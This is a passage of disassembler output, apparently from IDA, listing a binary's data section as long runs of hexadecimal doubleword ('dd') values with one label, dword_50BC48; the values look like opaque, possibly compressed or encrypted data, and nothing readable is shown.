6D07B118h dd 20BEF0A0h, 0E406DCDEh, 0E1895AA3h, 0CFB60358h, 0D5CA6C3Ah dd 0A1E7391Eh, 27921D07h, 4AE0B680h, 4B49C20Dh, 484843F7h dd 70A3FFCh, 18A0CE44h, 31C7C80h, 30610F0Ch, 4CC14234h dd 87005EFDh, 39309D82h, 7F83DE8Fh, 0A90405E5h, 80F53222h dd 3CCDE763h, 7BD79600h, 57FA870Ah, 2F5F0EDEh, 67382BAh dd 80E3869Dh, 7EB8CE62h, 0E0062088h, 0D950A130h, 0EE88C79Ch dd 80A30999h, 542914C4h, 0D710648Ch, 0D8099A00h, 36D334E7h dd 0B2A00B8Dh, 8C4184DDh, 47D1846h, 0DC89AEF7h, 12C8BC8h dd 36F7019Ah, 1C6C3193h, 642A2C80h, 0D2009589h, 0E87E5DCBh dd 0C603DAh, 818523ACh, 6713FBB8h, 0DCB32C1Fh, 40D9BA40h dd 27EEF76h, 2FDD8599h, 34793ED2h, 5E183FD1h, 7C9F902h dd 437090AFh, 56B10055h, 0D8A814D3h, 59263481h, 4C0D6860h dd 704E2026h, 0C050B38Fh, 0F46EFB14h, 2353070Ch, 0E6275193h dd 40B09113h, 2579C899h, 0E8053018h, 869A50BFh, 42BA8401h dd 8420167Dh, 551300Bh, 5DA3CE61h, 983EEA0Fh, 2B92853Bh dd 0A54E6880h, 185C6C99h dd 0A20FBAD8h, 39B84F9h, 0A85D11BFh, 67E49h, 86437F33h dd 0E693C1F5h, 69E9BC00h, 0A095015Eh, 0C7960136h, 821C293Dh dd 94E1F074h, 0CCBB6900h, 0E63CA4CEh, 0F9BA003Bh, 0B0F65791h dd 0B200AF31h, 0FBA0786Ah, 0C79E74h, 709F458h, 9BC1B076h dd 9A069CF6h, 0E012DCC5h, 0ECBB0018h, 0E6244D73h, 5F00A78Fh dd 0CA380AE1h, 7ACC0895h, 53521FB9h, 0E8E9412Eh, 1C701Bh dd 1FB81284h, 5D1FC4C0h, 0A700BCE0h, 0BA98146Dh, 0A100FDCAh dd 94B1B9D4h, 0E966634h, 68BB33E8h, 5283407Bh, 7670F065h dd 4D040430h, 0BFEA0C2Ch, 0D1D8E9CDh, 0F6AAA300h, 0A6CEDA74h dd 0F19C30CAh, 46D38260h, 6B1C4705h, 8C003E65h, 0C1A45C2Ah dd 179226F6h, 0E06400A7h, 556179EDh, 5F25A91Eh, 6D3002C0h dd 0A8C51FC3h, 602A1A28h, 2B7619ECh, 0A9C1B41Ch, 10E6FBAFh dd 791FA217h, 856460B0h, 4C963D06h, 44A892DAh, 23884E4h dd 1FC08FB3h, 104D80BBh, 59EB795h, 82B6FF1Ah, 74480012h dd 0BD91E14Ah, 59E07CA9h, 3C80DE84h, 7D2A1801h, 4618A460h dd 49C0C41Ch, 0DA09103Fh, 800A150h, 0CAA70620h, 0D62EEA18h dd 87B27C91h, 0E060FBBBh, 42C4A949h, 6E39C0B6h, 9D04FD24h dd 64C52200h, 0F14AE818h, 8DA9C1A5h, 401B340Dh, 6F91A718h dd 0D8853E02h, 8275CCB0h, 8022E950h, 5E1BE31Ch, 859F06E8h dd 989B950Ah, 9D48C51Fh, 0BD9C54B8h, 34979801h, 87A04C33h dd 0A0E020E0h, 149D0C84h, 0F483B37Dh, 0DA05E800h, 9EB9D08Fh dd 0C406AFF0h, 0BB7B126Fh, 0F080010h, 4B917D33h, 3806906Eh dd 0F1139A3Ah, 53948069h, 130929Bh, 8481C511h, 49A35E56h dd 80C004A0h, 3B127119h, 0E7EE9C92h, 0D1326A0Ch, 30479829h dd 1A09ED8h, 13126388h, 0BC13DE17h, 0C5CE0AFEh, 22690084h dd 4891ECD8h, 530083E8h, 87F2DE1Dh, 37711EC4h, 3A61F16Dh dd 3398F840h, 68B9D134h, 12534037h, 0C36DC317h, 0F197FE5h dd 0E8FBE91Dh, 74218AE9h, 51B1BA7Dh, 4675C1ACh, 2E551054h dd 4100F3BCh, 772D983Dh, 80A1825Eh, 0BC72C701h, 2C90EC7Eh dd 68B11061h, 15D9A312h, 0A8F61034h, 8421A70Ch, 0D49B3F11h dd 0FE5EFB1Fh, 71C25118h, 9200DCB2h, 838BB574h, 1D2AF0D3h dd 510D61h, 2E153E02h, 0D77F957Ch, 3B05DC91h, 0FA00A163h dd 62B99BC9h, 1A7F0EB7h, 0E3C107A8h, 804C390Ah, 0F3605EE1h dd 0CC690B7h, 15ADDCA5h, 6E15F118h, 0FB4DF6Dh, 0E03EB6D2h dd 3B715CC4h, 18B0603Ah, 4E38DE2Ch, 0ACC16303h, 99F4AF70h dd 50D8E9FFh, 4A5F0059h, 0D5234B4h, 80EB166Eh, 601CBC39h dd 3C689767h, 0EA007C3Dh, 0A03691B7h, 4D608F9Bh, 0E0162779h dd 0DA7300AEh, 36A18ADFh, 0AB73AC8Eh, 2829F600h, 0BD19FD9Ah dd 6889014h, 0DC90EA99h, 391841DEh, 61E905CBh, 0E6211C7Bh dd 0F8E0E8C1h, 5A301838h, 9DE2B178h, 0E14D4612h, 0EEC4A800h dd 7B93A5h, 0B7A10B5h, 2B13FDBFh, 0BC014E00h, 90E18E77h dd 0B33C0239h, 0B2FFC551h, 0F90204B7h, 36B33F74h, 103ACC3Eh dd 80F494Dh, 81F06ADDh, 8BA3E190h, 21A2509Dh, 863DDE8Eh dd 68A818CDh, 0B02018B8h, 6BF6C018h, 81A5CA0Bh, 99FA8C0Dh dd 2842E96Fh, 6E1882F8h, 344C8836h, 143A7933h, 1C8CBF19h dd 3793D10Ah, 0B228590h, 950665Eh, 0F6031D1h, 15A51779h dd 0E3699B0Ch, 0BA3F850h, 6481D006h, 5C09C832h, 0F4F91C98h dd 9D0B3FEh, 0D14910Ch, 9104AAF7h, 5D338188h, 500A10CDh dd 0B9640B02h, 4840F1F3h, 2915D042h, 307010BBh, 0E73808EEh dd 3AEA906Fh, 0FC526E0Bh, 0AC042FE4h, 33133170h, 48C41110h dd 31E00EB4h, 64827200h, 8470DDC1h, 128D10DCh, 13E8004h dd 8E6229Ah, 7B960D6Dh, 838D0606h, 69236239h, 404916C4h dd 8794FC1Eh, 0ED4048DCh, 9C3CA6E6h, 2F490389h, 66F1B326h dd 414B6101h, 3D466CE3h, 0A3C51080h, 2294A989h, 7107D21Dh dd 0C688318h, 2B9F3033h, 558C3448h, 8AE5A10Fh, 742483B1h dd 93083A3Ch, 6D2E007Bh, 0DF8DD554h, 0FE1BB322h, 0F8F96FD8h dd 74CA7126h, 458C1EE3h, 0C8B037Bh, 0C1636EC5h, 3A3D4248h dd 0C9004708h, 0A3BEA0C7h, 3078792h, 88E2C05Bh, 460EFE20h dd 437831h, 415F2FBFh, 63DBE46Ah, 94717409h, 0B80490A4h dd 99FC1412h, 0B91E8C91h, 0E8B698CBh, 3500FA8Ch, 6834B265h dd 0C00721BAh, 0F4C03188h, 0FF7B0496h, 0A0383034h, 0D9C2B683h dd 0D450E0BBh, 3168230Fh, 3311EB03h, 2884400Ch, 8679578Eh dd 0BACD0601h, 651EF8DBh, 0E19683D0h, 0E1661832h, 41000834h dd 585ACA33h, 5079383Ch, 0F47CC90h, 322799CDh, 870D6701h dd 0D8218A42h, 0C106B09Ch, 76A13F8Ah, 0E20C0183h, 0C5390726h dd 6800C7D3h, 8513484h, 92EEA6h, 445F28D8h, 1F520D6Ah dd 0A8850890h, 0B400E01Eh, 0BEC53639h, 1E7A0820h, 0C4098CBCh dd 2864208Dh, 522E7535h, 61C8B848h, 9E401FC4h, 34B350E2h dd 3300E371h, 0C5A43920h, 385EB40Bh, 0F6103Fh, 0DA4A50CCh dd 0AADF899Dh, 6589260h, 3C4DC0FBh, 97050B65h, 0EECC75h dd 4BC218A6h, 1B00FD52h, 0DA9FA2DCh, 665E13h, 339B0EFFh dd 0E6635807h, 4193C701h, 0A64AC6CAh, 0DED8208Ch, 2F3B64B9h dd 5C9E08Bh, 99F80D6Fh, 30D80AC4h, 3161BFB8h, 0D0755BBFh dd 868B66Ah, 0B803D829h, 0A1F079D4h, 8C4A9D36h, 48FFD10h dd 0A9D5A51Fh, 0B80C3012h, 10B23C3Dh, 0F8DABA0Eh, 54C0497h dd 498B309Ch, 2C50DCF0h, 0A480150Bh, 8A144C4Bh, 3114F07Bh dd 9920604Dh, 6A889FE8h, 0C79C0058h, 0D1C0A30Ch, 79018C87h dd 83325DCh, 0AC9630Dh, 1251D981h, 0ECC430BBh, 789190C7h dd 0D4290719h, 8A06B062h, 11DFE183h, 22857912h, 445C8814h dd 46580358h, 0DAC04173h, 204B4891h, 9600DC08h, 0E26E1D75h dd 305C2FA0h, 6F806C8Ah, 0DC675E3Dh, 39C3D9B0h, 0A2603E4Eh dd 0B01FD448h, 678F433Fh, 1E32FB5h, 64B793Ah, 175E89B8h dd 0F3B51471h, 0D73CB0C0h, 3ABD1042h, 5393B35h, 0C4714D34h dd 29D44E4Bh, 63C52181h, 0FB5403Fh, 93002C0Dh, 7E8DC906h dd 9FD0CDEh, 6FB66341h, 491B023h, 21C585B7h, 2025AA8Ch dd 0A6265884h, 0D803C28h, 888141C4h, 0F0C15470h, 0D5F813D2h dd 260C030Ch, 3FC0E306h, 0A7E656EFh, 0B3244471h, 186CC896h dd 0C2420F72h, 0B002F86h, 0E358153Ah, 51D77705h, 980423C9h dd 54003C41h, 80470DDAh, 45CC4900h, 331EED1Dh, 2CF898B1h dd 4034CDFEh, 45BCBB06h, 0D0887600h, 6A879CD2h, 0B3270AC1h dd 4090A493h, 724DBD9Fh, 68E0060Eh, 8F0EC43h, 0C121C06Bh dd 0C99C4DC4h, 8DBCA000h, 0B3091572h, 0FB1B0525h, 80F2B556h dd 6B304274h, 0D34CC171h, 0E6040170h, 8879676Fh, 0FC2E2085h dd 7494206Ah, 7000764Ch, 30887278h, 0DD685F4Ah, 3E70BE40h dd 3B047F0Dh, 882BB074h, 3800596Ch, 99180EF3h, 657927E0h dd 40750803h, 0FB89CCDCh, 3B000F12h, 4BFA387Ah, 1691DF8Eh dd 729725Dh, 706C256Eh, 33B795Ah, 0D924704h, 0A48194F6h dd 0BC60D9D6h, 2CB8E2EEh, 0A85234h, 3031E5CCh, 7D00DA62h dd 395F2950h, 2354B8h, 0BE18741h, 0DDE814A6h, 0F41E7325h dd 0C0B81CDBh, 1D92650Ah, 0B00FD89h, 0A4335B08h, 72A19E1h dd 0BFF309FEh, 898C8084h, 0DD0336AFh, 61F548BBh, 5B72F0C6h dd 0AA940002h, 0A6E5C4E0h, 1400DE36h, 97202FFDh, 0C0BD3F0Dh dd 17040B40h, 0C005FAAh dd 5206CB69h, 1F1D62h, 848B6D4h, 41F48746h, 80F2B83Eh dd 61505B6Fh, 0EC32A1h, 0DAC7A0DCh, 0E5FDF1F3h, 0F473F573h dd 10FE7F30h, 1F5184D3h, 0D062419h, 0D4512BA8h, 80A81B6Eh dd 24503DA9h, 9C1F4434h, 7C3CC709h, 0F5194D03h, 9651A935h dd 665600B1h, 8D7C79B2h, 5B0FFAF8h, 608BF29Fh, 85874D21h dd 0D8AFA13Dh, 97109340h, 2CF07342h, 3E337BCh, 0B9F486C0h dd 26475CA8h, 2A61AE00h, 0D199BCF7h, 961D3A2Eh, 20509C18h dd 1F00C38Dh, 29987FABh, 7C97481Ah, 0EFC60E5Dh, 3C6BA71Bh dd 0C107080h, 0C700D630h, 0CD38AB05h, 0A53261h, 9D5C5374h dd 501D8940h, 39D9DF06h, 0C881C623h, 9C06B90h, 0D13CFD61h dd 97224888h, 1FA28600h, 72F4587Ah, 9C320C20h, 604822D4h dd 1FB8048Ch, 61853D04h, 30076F9Dh, 37C21FBEh, 1511D81Ch dd 2D0978Eh, 0A43631C0h, 0F3606D94h, 3D29071Eh, 851B28ADh dd 1FAA8099h, 0FEEC7Ch, 0BD84F6F7h, 0CC4FFB27h, 60376D30h dd 0F52653h, 33209019h, 0B9C73262h, 0DFCB7D0Ah, 260098A3h dd 8866018Bh, 0F5FEB7h, 0BA5A4653h, 2ED1F69h, 7D84A700h dd 76E29B30h, 0BD24004Fh, 0CD8FFF5Dh, 8303BA0Dh, 0F4DBB017h dd 0F8FBB307h, 615B37h, 0DCE48184h, 14162098h, 0BCD009C6h dd 6010120h, 70B0DE8Eh, 7D0BDCFFh, 85D2C700h, 87B1CA17h dd 66CE8A1h, 0D1F62C43h, 3B00587Eh, 52EE9083h, 1D4BF8DDh dd 0CF1A56Eh, 8A204149h, 2BE23200h, 4D50DFEDh, 0AD18C15Ah dd 0FDB5CC3Ah, 0D428DD2Eh, 9B074AB0h, 8262778Fh, 0C1FCEF70h dd 411C00FEh, 241184CCh, 0EC1B5E23h, 3B0A269h, 8B5A5948h dd 11004874h, 7D805C17h, 198726C4h, 856B250h, 179801Fh dd 0BE74802Dh, 0D24B000Dh, 166E95C6h, 2A00B0D6h, 683D5633h dd 37E7C0A2h, 0A0695074h, 0BDDB1EE5h, 17965614h, 0EF5F8484h dd 89908A30h, 0F1355110h, 9D9FE6C8h, 44F0E200h, 2E8EF90Ah dd 1BBFD933h, 0C806D015h, 24CA932Ah, 1AC41D80h, 0DDEE4239h dd 0F380C0F9h, 215B82E6h, 8004B33Bh, 4E6A1208h, 0B0590916h dd 61200092h, 0FB5CBA65h, 0DE00A801h, 0CDFEEFDh, 951BFh dd 0DA419C03h, 917DCA6Ch, 0CC36A900h, 0D186F679h, 3B04E010h dd 8180E87Ch, 0EEEA8E41h, 830180ADh, 28919DE0h, 0D9C4CC31h dd 68960143h, 81E69E54h, 0E5A5C883h, 0B614E30Ah, 845820D1h dd 9B018C23h, 896495BBh, 7AF51348h, 0BEAED080h, 41B9B4C9h dd 0C09C5F00h, 59DA639h, 120C079h, 403BC9F6h, 7F01D98h dd 79843554h, 13919201h, 39736B67h, 30BF02D0h, 40F87245h dd 263009B5h, 41886833h, 0DE4BF4F7h, 0D7CA0038h, 771DD020h dd 3D3CBD07h, 346AA72h, 0DFDC0021h, 0DDF7A120h, 0F30F0FB3h dd 0AC9A71EEh, 66994Ah, 0CDBADB22h, 0FFB75935h, 0AAD4B817h dd 60752B0Eh, 0CBCA66C6h, 103D147Dh, 271FBC03h, 15868099h dd 7287E06Ah, 7841253h, 0B9427F40h, 411DC498h, 0EAC9F88Bh dd 0BB38A080h, 0AC07CC4Ah, 0EEB0C000h, 9C83A65h, 59E514BFh dd 0BC3CFC0Ah, 7FD12330h, 24185F1Fh, 6C51B5C0h, 0D2044C06h dd 455EEF06h, 92E1A14Eh, 38205921h, 0B8DCC5h, 0A2394438h dd 99BB9590h, 0D90413B8h, 68E1D076h, 0CC790080h, 5DDC184Ah dd 1BB21189h, 0EE430B00h, 0F94D9267h, 549574B7h, 3948E00Eh dd 0C38053ECh, 2F3EC0A1h, 0AB4CAE82h, 0B34D3E45h, 0AA72496Fh dd 4E9CA055h, 1EDCC6DBh, 403B9ACCh, 46E787AEh, 311E2E77h dd 0A54066E6h, 1039F6EAh, 68FE009Ch, 29F77F7Bh, 5E0D2F27h dd 803697EFh, 301573F4h, 12914BBAh, 3237C171h, 95D0593Fh dd 0A3515C60h, 652000A8h, 0E339ADDh, 5378C069h, 2CA44E24h dd 75DF96C0h, 0AACF211Dh, 0E3FEB762h, 0C86CB8AAh, 2E7F02C9h dd 4B5E24B0h, 0C0E0044Bh, 3B003DE8h, 0A6AC3CCDh, 777EFF6h dd 0C2640692h, 68E41069h, 78504A87h, 0DF18D990h, 0DE4132C4h dd 6F573EBEh, 0FA5F4600h, 0E868F7DAh, 0A0824E2Ah, 0B721900h dd 661F8ED3h, 46070A48h, 40F84B96h, 520B56CAh, 6F8E3E06h dd 11979CEh, 711BAA67h, 8027BE0Ah, 96F49D0h, 0F626C51h dd 0ADE8E446h, 0E2BC020h, 70918965h, 0E8193E71h, 0D9F9DC9Fh dd 0BD686060h, 0D31BD9C0h, 44C8A5h, 2364F9B6h, 1D5913C3h dd 0EAEDDF01h, 0C1455210h, 4D9090F3h, 0C6210401h, 8454AE8Ch dd 0DB9406A1h, 170B207Ah, 8089B910h, 623601C1h, 15991225h dd 9FCC2187h, 4CB0C13h, 0A9B97FCCh, 2048325Ch, 77C81008h dd 0DFBBAB05h, 3E82AD11h, 0D37461F5h, 1CBF8058h, 0C8B91BC9h dd 1C449DA7h, 0D0AB8C47h, 364D595Fh, 2048803h, 0F0501ADDh dd 7418D9F9h, 88D8547Bh, 534709EAh, 708A0EFAh, 80DE11BCh dd 0EFED0B59h, 229543B7h, 11D20098h, 7D60C90Bh, 0AC2C1A62h dd 0B2069099h, 81B14103h, 4218FC84h, 0B970C802h, 659DA861h dd 0CF950050h, 0EE1192C9h, 0F6B1061Dh, 58B77E82h, 0BB544817h dd 71449173h, 611836h, 0C550B1BDh, 0E2185C1h, 0E9D5EF30h dd 1E263A62h, 1E761A8Ah, 0AA24C238h, 641E575h, 0D2746020h dd 0F9DAEE34h, 1E98940Fh, 0B7F00E1h, 0AB07EADFh, 0D43F4486h dd 110B370Eh, 6BE1A09Bh, 0C6447327h, 0D91559F1h, 337EF504h dd 1481EA8Ah, 0DDE4B10Ah, 64EF3008h, 0DFCA2169h, 0C613300h dd 3CAE0B30h, 1A84F24Bh, 98CD4CDEh, 50F9C044h, 0C10407B8h dd 2235C602h, 64CC2A1Ah, 93A48180h, 0B02D118h, 0D7F78EDAh dd 8083114Bh, 0B584721h, 7A9B79Ch, 0CCA650FBh, 2517B011h dd 68A11AC0h, 5BC5072h, 320070A2h, 0FD4355C2h, 0EEC643Bh dd 5E93CF6Bh, 0DE7E3400h, 0EE2CE461h, 0B9433025h, 66713FB5h dd 0CE5CA78Fh, 9E1400FDh, 0BB922127h, 6DEAA200h, 0CD03B462h dd 987F7222h, 1D2A7DB4h, 0C0C5BC76h, 132F4FD0h, 5B00233Bh dd 7DBD3426h, 0FC35A1h, 9EA0F0E8h, 58A2EE6Ch, 42868201h dd 18D259CEh, 3DC4BBF4h, 653BD5A8h, 0ACB200F5h, 0DAEB25CDh dd 261C1349h, 0B75DB51Dh, 0AC2A446h, 3E2F6CAh, 826BE0D3h dd 21B1FE64h, 0BB5E45Dh, 593BD000h, 4274AA7Fh, 6623004Eh dd 8CAF8ED5h, 1D077136h, 7DFD210Dh, 0D8A94B93h, 70A824BDh dd 0C28207F1h, 0F0A4485Bh, 0EB3BC651h, 9FA0FB0Ah, 1F91608Ch dd 70A91D80h, 0A343ED44h, 56318400h, 0B67CDB13h, 0FC173413h dd 6EAB0800h, 7499BAh, 26EDD853h, 3852897Dh, 4C85F51Eh dd 0E80F0D00h, 75572C06h, 60BCFA13h, 25BAC0A2h, 95009F5Ch dd 6D566649h, 8090B2h, 1DF4CA5Ah, 855764B8h, 803B2C3Ch dd 0E81209BAh, 40717FBh, 132DF825h, 66798256h, 0A05CCE40h dd 920EDB7Ch, 61F19653h, 19B0B2A4h, 3C935E20h, 0FA8AEDFBh dd 5E0A3E9h, 76F59A5h, 0F08227A0h, 1C2ED61Fh, 0D7958601h dd 0DBA798B5h, 32A26FCh, 9C093C11h, 0F7F9F24Ah, 4846D98Eh dd 92E807C0h, 1740CD00h, 9516D9F4h, 6034B08Dh, 237B4028h dd 8B9C0C4Ch, 3EA79A03h, 0FB0380A6h, 0C9300040h, 0CE63A0DAh dd 3F00D3DBh, 5E19A283h, 7EB32D5Ah, 43803E7Fh, 7313C902h dd 93E0BF96h, 0F016F1Ah, 0BE0C74C0h, 58F02D77h, 0B2610062h dd 18B68C30h, 0C90E1B2Ch, 8051DC90h, 4B98F25Bh, 0D80B005Ch dd 0C00ADDAEh, 6D00BF87h, 9095F868h, 0D467D1h, 8DA4E430h dd 47825111h, 0EDDA3400h, 0A03C604Bh, 43081C45h, 580EA57h dd 0E3AA2610h, 88388B87h, 5862C01Dh, 8EC04DE1h, 2A20D980h dd 0C6C8005Ch, 6C084167h dword_50BC48 dd 545C50A3h, 43101074h, 0C320D2C0h, 1A21EF1Dh, 2113Fh dd 9929E38Bh, 7F6DFB4h, 3FEB3D4Fh, 2CB690D5h, 730E8BDBh dd 5E756885h, 7DCB0EC1h, 502C5B79h, 4A9D1D05h, 12A78223h dd 48A6CCC0h, 7359A91Ch, 0A36FF449h, 90EAF198h, 9C11A7h dd 7CB602CCh, 9B9E8713h, 9BED314h, 7FD626D6h, 30DD4100h dd 0A7CDDABAh, 0A4FD0420h, 4ACA301Dh, 18C45851h, 0A15398C0h dd 0ACB1BFEFh, 6F0D39C0h, 434C0562h, 0C0E9D8C1h, 7518FBF9h dd 6E1AE301h, 6BC47372h, 0D6D8519Eh, 0A8D400B8h, 7576DEF7h dd 0AF104500h, 744BC1F5h, 79F603E9h, 4E70B344h, 0BC491898h dd 40530130h, 0B1D6C512h, 3D4B0EC0h, 0D1ECA9E0h, 570063ABh dd 0BF3A9022h, 1D2BC5h, 0C0DDDBD8h, 0DF0C40C4h, 0E70092E2h dd 3F5456BAh, 1A07063Ch, 0E290378Fh, 0C0004CC4h, 95A52EBEh dd 0D38464h, 0C4D0FEEh, 80E7CAF4h, 0F06D140Fh, 0AA6741AFh dd 31304A58h, 1049244h, 9C6C33Ch, 0DEE14CA3h, 0F8F2C4C4h dd 0A45CE900h, 5DE2E410h, 0AB3E001Fh, 0D0B2AAACh, 81DF42BDh dd 0A7D16640h, 3FE5904h, 0C88FA023h, 12C0F8AAh, 0CF000905h dd 70CB02Fh, 9B42E1h, 557F15C4h, 3D6F176Bh, 4C09B524h dd 1B187340h, 76CD0007h, 0F438AA86h, 0F6003FC9h, 0EA524DE5h dd 18AE483Bh, 8E78B37h, 0AF073A38h, 0C0B4FC6Dh, 0B971D0E0h dd 0E00C00CAh, 0F9D95928h, 5A070167h, 777A10C5h, 29D17143h dd 75046A60h, 0E3D7D8h, 2D95502Bh, 4960EB6Dh, 7A351B1Eh dd 8D2F82C0h, 38E76ADh, 0FDD7EEB2h, 5FF0EF93h, 0CB32A470h dd 1013293Ch, 0D140D233h, 0B4B6206Bh, 7BF16710h, 240C8721h dd 0A037515Fh, 40535514h, 8044CB7Ch, 0DC8420FFh, 481B3342h dd 8BFA7964h, 0DD163C21h, 50A49F02h, 29A3427Bh, 61850386h dd 0A9DB2918h, 88538751h, 29C6DF17h, 4279B571h, 8CF97D27h dd 2826DBC9h, 0BDECE2h, 0AFAC5A30h, 6C1BEBAAh, 7748810Fh dd 688D4664h, 4ED40020h, 0A1E3E0ADh, 51E04465h, 0FF017A00h dd 1EF199F5h, 7E603FF2h, 40304980h, 0BDDEFE2Ah, 0C60F8D00h dd 257C7B01h, 91950043h, 0A412B838h, 0A60E1DD9h, 0C05E7367h dd 6227E5B0h, 84383F8Fh, 6FBB0700h, 14D4C377h, 320DC500h dd 0C6A81B65h, 0DE4E00A1h, 0E47DE864h, 0BA7ABCCDh, 0F8450303h dd 0CE54F2h, 36E8D310h, 0B3CF1E61h, 0C00001E2h, 816FDA11h dd 5C08E1D7h, 6B0046E2h, 0FC3CA93h, 0A84932A4h, 9007A2Ch dd 372C5FB1h, 1214CDAh, 2F68C464h, 0E0B77B0Fh, 0CF758B93h dd 716B7F00h, 0E2E88554h, 70ED00A5h, 3B5A1F25h, 9E7A77C2h dd 0E7F3F0E1h, 694B100h, 900F9FB7h, 0C1F00340h, 205FC67Ch dd 47DF80DFh, 361C2732h, 79871B10h, 0AAA0E313h, 7621A2A9h dd 25C600F9h, 0B1BB50C4h, 583CEF72h, 0A7DE00D7h, 18E053Ch dd 0D48A071Eh, 86C656F3h, 3800E06Eh, 743679E3h, 395065h dd 0D8A04BD9h, 0A495DF49h, 78177D00h, 975B9AA7h, 0BFBA0070h dd 81E206F2h, 660C4E88h, 48CB5DC3h, 180F0045h, 49419850h dd 0F73AEA48h, 14560068h, 4F6A090h, 63AF1209h, 0F8C500E3h dd 0EF7F369Eh, 0AA2432Eh, 0CA385000h, 80A952h, 2C917694h dd 8931A5CDh, 78F78D00h, 0B4717D7h, 0EAF2E4AFh, 0CA3B008Eh dd 7446B47Dh, 20704499h, 51117000h, 7EEFE1A3h, 4D82000Bh dd 7F0ECD15h, 9C02FBC3h, 7D3294E8h, 48CA78E9h, 900C5ACh dd 8F0E440Ah, 543CF4AAh, 87A0016h, 1B3DAE92h, 5FFA00E9h dd 0A76BFFBFh, 7E00D071h, 44217FDFh, 3A939249h, 339D76E5h dd 0F9CA0082h, 0B2EA645Eh, 6918AA00h, 7D43F340h, 0AE5C3BA6h dd 61B3660Fh, 872B9E80h, 3C009A7Ah, 96460DEh, 52108Ah dd 0B0F7E85Eh, 0A5B7358Ch, 3BE6A171h, 2AD38B0Bh, 3D9B8019h dd 847F4Dh, 4A9B134Bh, 0A9F7F908h, 0DE0159E4h, 0BB024E1h dd 0CFF8CDE3h, 7B50173Fh, 557C00E9h, 33BA1E19h, 8692D400h dd 0E3E2B643h, 74CB2805h, 8C823ACFh, 27F54A80h, 0CFBD1AFEh dd 0C7E3Ah, 995C2B02h, 165B0F3h, 0A3EC7B15h, 0CC2A1C84h dd 1200BB55h, 0EDF14C5Dh, 0EEBDC064h, 0D1C500DFh, 0EDAFF83h dd 0A5F2A960h, 0B5C6FE00h, 0D003F18Ch, 17B1002Ah, 707A669Dh dd 320050FBh, 9E38B80Dh, 74A469Fh, 0CE0C2AA2h, 792F70F0h dd 0E4007C86h, 9CFC2CFAh, 8882B6h, 0B374DED2h, 0F0DA7E37h dd 0B91C5107h, 17405E80h, 9054D28Ah, 24B200B2h, 1843BA2Fh dd 12F033FDh, 6594007h, 6510AD30h, 0FEC4419Eh, 3F6914A7h dd 59A3F8D5h, 686031CAh, 0A5A08CA1h, 2148B805h, 0BFEE87DCh dd 0EFF66963h, 656F3290h, 0F177B8h, 0B64446D7h, 63110E8Dh dd 0E1D5EA01h, 4E8378A2h, 321FCD8h, 52F4D9CCh, 6D98BF3Fh dd 57001CC5h, 18632DBCh, 532617h, 0FA1D60E2h, 0D3803876h dd 0DA811500h, 0CF14AD83h, 71A40043h, 0AAFE5B72h, 23074B3Eh dd 96070CE8h, 80364F50h, 0A897001Dh, 3E7B9FB6h, 0CD00EC5Fh dd 49DF9AFBh, 7AF7515h, 651147CAh, 0EC769320h, 8E105600h dd 7A570223h, 66580007h, 0FDB13BB4h, 0C6009C46h, 64FF7F97h dd 14DABBAFh, 8C7BBAFAh, 0C2632380h, 5100DC3Dh, 0A4CE8BF4h dd 0E5C669Ch, 0BDA1463Fh, 76EF2CA0h, 8500FBDAh, 0C1D45B8Fh dd 3CB2AE5Dh, 0FDDF3Ah, 2A3DB93Eh, 35879E08h, 0B0928E00h dd 58595B67h, 29F2DBh, 1B395E03h, 923F682Ch, 0CDA6F00Fh dd 60A44017h, 0F29ECEh, 0D6E06EA1h, 7C628C26h, 2815E301h dd 0A3C3CDC2h, 0FA285D8h, 821DED56h, 17492560h, 9F00E9C4h dd 637D0D52h, 0E7575Dh, 1D4D4799h, 65D6FFA3h, 25006EECh dd 4A116BF4h, 0F083DEA0h, 435E0FBBh, 0A840AC93h, 0E3720645h dd 0D448E428h, 13E3900h, 15C00529h, 0CCE5503Bh, 377BFh dd 992F1A41h, 0C713DE4h, 4BB7CC01h, 36F3128Fh, 9F102081h dd 0FC51CFC6h, 0EE1EA1E1h, 4F007240h, 0C502174Eh, 3CFB00A9h dd 0B448D628h, 0FF032EDAh, 1A621F14h, 2D0CB869h, 0CBE90343h dd 0E8EC8D0Fh, 628EC9A8h, 5B4AF800h, 793B9E6Eh, 9828005Dh dd 4719E685h, 75035E23h, 0A507C2B1h, 0A1C79F9Ch, 3D0E1670h dd 8FABA05Ah, 0F8DA1E21h, 0D900FD61h, 1EAA26Ah, 20E7395Bh dd 0BE00A913h, 8381943Ch, 0E20AFCh, 91668D29h, 49BA960Bh dd 0C79E4000h, 5F930ED3h, 0F2430014h, 0E360762Bh, 0A412FD96h dd 0D1004FFBh, 0E13555FCh, 3B471290h, 0B053022Bh, 7060B7B1h dd 0D0E4A913h, 1100AD98h, 0A4343EB8h, 240F61h, 92D37E36h dd 0E33B419Bh, 72C30C00h, 569F0790h, 71961694h, 0E700F7Ah dd 494073AFh, 54BF8041h, 4A3FF900h, 0A64D4062h, 27D63E48h dd 3ABC3900h, 0CE3E9D96h, 0DAA7311Ch, 8B840038h, 0DDE142E3h dd 0BB6C3943h, 3D11349Fh, 958D7380h, 3FA53DEEh, 715E140Fh dd 1BEA90Ah, 82A09A0Ah, 44E0E0h, 0D3FF5C4Dh, 3EA86231h dd 4CFEE700h, 0B49C520h, 5BFA00BEh, 57300FBDh, 0A50ECA3Ch dd 775672h, 35FC969Ah, 738200F8h, 62DAB604h, 233BF09Bh dd 85C08003h, 0C3E2D2F6h, 69FF01AAh, 987C9291h, 2142D077h dd 61D7830Fh, 4A2900A5h, 0F2538E24h, 0A71E000Bh, 2CB75C2Dh dd 0DB7520D2h, 68007874h, 0D9275401h, 429795Ah, 0D502721Dh dd 0BADE80FFh, 7600C6DAh, 3DAC30FDh, 1299D4h, 5E5F05E7h dd 11558E32h, 0C8709B00h, 0D4A65821h, 0C3784C68h, 9D799C00h dd 0B1CEB0DDh, 1ABD540Fh, 0B7C24056h, 3EE66394h, 423A9A33h dd 9FA95380h, 0B846E34Ch dd 60A3CC00h, 8DD4F0BFh, 1D9A0337h, 23FC0371h, 0C2BC82ADh dd 8800E865h, 7D17DB8Bh, 0BAE800D1h, 0F048351Bh, 0F91060E4h dd 7A000E87h, 5FD5492Dh, 38008CE1h, 0AF55D6D1h, 0FEAE5AA1h dd 0F0EF00EBh, 0E85C3095h, 6160667Dh, 42979B70h, 78854CE0h dd 91A916h, 0C016C305h, 0B0029F7h, 5075D052h, 58ABE5B0h dd 1B00A296h, 597CD142h, 0EE004B5Bh, 0EB17F2A9h, 11EC729h dd 0BA465AD2h, 0D823D0E0h, 0B502873Fh, 0ACFBBF8Bh, 